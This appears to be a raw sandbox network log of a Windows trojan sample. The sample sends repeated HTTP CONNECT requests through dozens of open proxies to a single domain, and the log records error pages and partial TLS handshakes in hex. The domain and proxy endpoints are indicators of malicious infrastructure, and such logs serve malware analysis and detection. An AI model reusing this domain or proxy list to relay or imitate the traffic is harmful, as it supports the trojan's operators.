Feb 23, 2024 14:28:26.882239103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.499248981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.8	52007	141.94.174.6	35557	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.268904924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.8	50390	109.123.231.232	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.269061089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382512093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.382767916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492197990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.8	52006	147.45.40.100	30318	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.275898933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882431030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.492315054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.695271015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.8	52012	34.102.179.21	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.289259911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.478399038 CET	462	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 317 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 3c 63 6f 64 65 3e 43 4f 4e 4e 45 43 54 3c 2f 63 6f 64 65 3e 20 69 73 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 66 6f 72 20 74 68 65 20 55 52 4c 20 3c 63 6f 64 65 3e 2f 3c 2f 63 6f 64 65 3e 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>405 Method Not Allowed</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Method Not Allowed</h1><h2>The request method <code>CONNECT</code> is inappropriate for the URL <code>/</code>.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.8	50430	218.255.187.60	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.301850080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382556915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.382769108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.794310093 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Feb 23, 2024 14:28:38.794322014 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.8	50694	154.12.253.232	52138	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.316179037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382565975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.382761002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492217064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.8	51910	125.19.99.90	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.321882963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.8	50475	47.74.152.29	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.334836006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.8	51991	20.44.190.150	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.343101025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.608088017 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.8	51529	192.111.139.163	19404	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.344957113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.8	51983	35.72.118.126	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.352679014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.639034986 CET	196	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server Content-Length: 0
Feb 23, 2024 14:28:26.639427900 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 79 95 9e 0f 19 b8 3b 43 4c a2 6c 2c bc 59 44 8a 44 5b 90 b1 f7 3c 9c 19 4a cf 38 94 72 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ey;CLl,YDD[<J8r*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#$lHWvW}gyf!0IDL\
Feb 23, 2024 14:28:26.923521996 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 dd ea 32 26 6e a7 b7 01 8c 55 c1 45 76 6d 14 55 56 65 35 91 a5 9a 57 3d 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =92&nUEvmUVe5W=DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223124521Z260222124521Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 14:28:27.166126013 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 77 64 5e 27 8a 05 af 55 33 26 3b 51 a1 74 b0 07 fa 07 09 c5 cf df c9 29 01 55 01 f8 72 7f e9 5b 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 b0 1f f4 00 e6 49 7b e8 ad 48 4e ec 3f 31 f6 e5 43 b2 74 02 ce Data Ascii: %! wd^'U3&;Qt)Ur[(I{HN?1CtRw*Ac>
Feb 23, 2024 14:28:27.444988966 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 c1 27 6c f7 83 b9 b6 12 ca 37 5f cd 50 ed 66 06 e5 0e 3f 38 62 6f 6c 9a f4 62 2f 05 48 99 81 c1 c5 9d 96 1f 88 e5 84 0c Data Ascii: ('l7_Pf?8bolb/H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.8	52049	200.111.182.6	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.352864027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.8	51924	102.132.57.90	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.352984905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.8	52052	200.111.182.6	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.354757071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.8	52053	200.111.182.6	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.355870008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.8	51976	58.234.116.197	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.364075899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.8	51901	113.204.4.142	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.364075899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.8	51965	186.156.161.235	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.364595890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.8	51953	154.236.176.28	1981	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.366879940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.179141998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.195091963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.195043087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.992062092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.695087910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382852077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.694848061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:03.288439989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.8	51946	104.248.151.220	59755	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.371496916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.179203033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.195077896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.195086956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.195101976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.179493904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.8	52060	200.111.182.6	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.380836964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.8	52018	72.210.221.197	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.381424904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.8	51960	171.248.213.121	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.382049084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.8	51987	115.74.159.39	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.409544945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.8	51996	171.247.98.90	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.416384935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.8	52105	91.231.186.133	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.418004990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.8	51990	103.148.51.19	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.436587095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.8	52074	172.67.200.220	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.506668091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.594845057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.8	52031	109.107.181.245	32578	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.506675005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.8	50802	167.99.123.158	48953	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.506788015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.694807053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.695116997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.753187895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.882328987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.882201910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.917788029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.8	51713	92.204.134.38	15393	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.506795883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.694808960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.695084095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
